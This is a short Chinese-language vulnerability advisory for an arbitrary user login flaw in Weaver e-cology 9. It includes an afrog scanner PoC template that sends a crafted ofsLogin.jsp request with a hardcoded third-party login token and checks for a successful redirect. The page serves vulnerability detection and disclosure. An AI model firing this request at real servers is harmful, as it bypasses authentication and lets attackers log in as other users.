ecology-ofslogin-aul: 泛微 e-cology 任意用户登录漏洞

日期: 2025-09-01 | 影响软件: 泛微e-cology | POC: 已公开

漏洞描述

泛微e-cology9中存在信息泄露及任意用户登录漏洞，远程攻击者可利用两个漏洞组合任意登录系统中的用户

PoC代码[已公开]

id: ecology-ofslogin-aul

info:
  name: 泛微 e-cology 任意用户登录漏洞
  author: Chaitin
  severity: high
  verified: true
  description: |
    泛微e-cology9中存在信息泄露及任意用户登录漏洞，远程攻击者可利用两个漏洞组合任意登录系统中的用户
  reference:
    - https://mp.weixin.qq.com/s/Rhk7DaiL_YgqzaRwahDmjw
  solutions: 泛微e-cology9
  tags: ecology
  created: 2023/06/28

rules:
  r0:
    request:
      method: GET
      path: /mobile/plugin/1/ofsLogin.jsp?syscode=1&timestamp=1&gopage=/wui/index.html&receiver=1&loginTokenFromThird=866fb3887a60239fc112354ee7ffc168
    expression: response.status == 200 && response.body.bcontains(b"location.replace('/wui/index.html');")
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/ecology-ofslogin-aul.yaml

相关漏洞推荐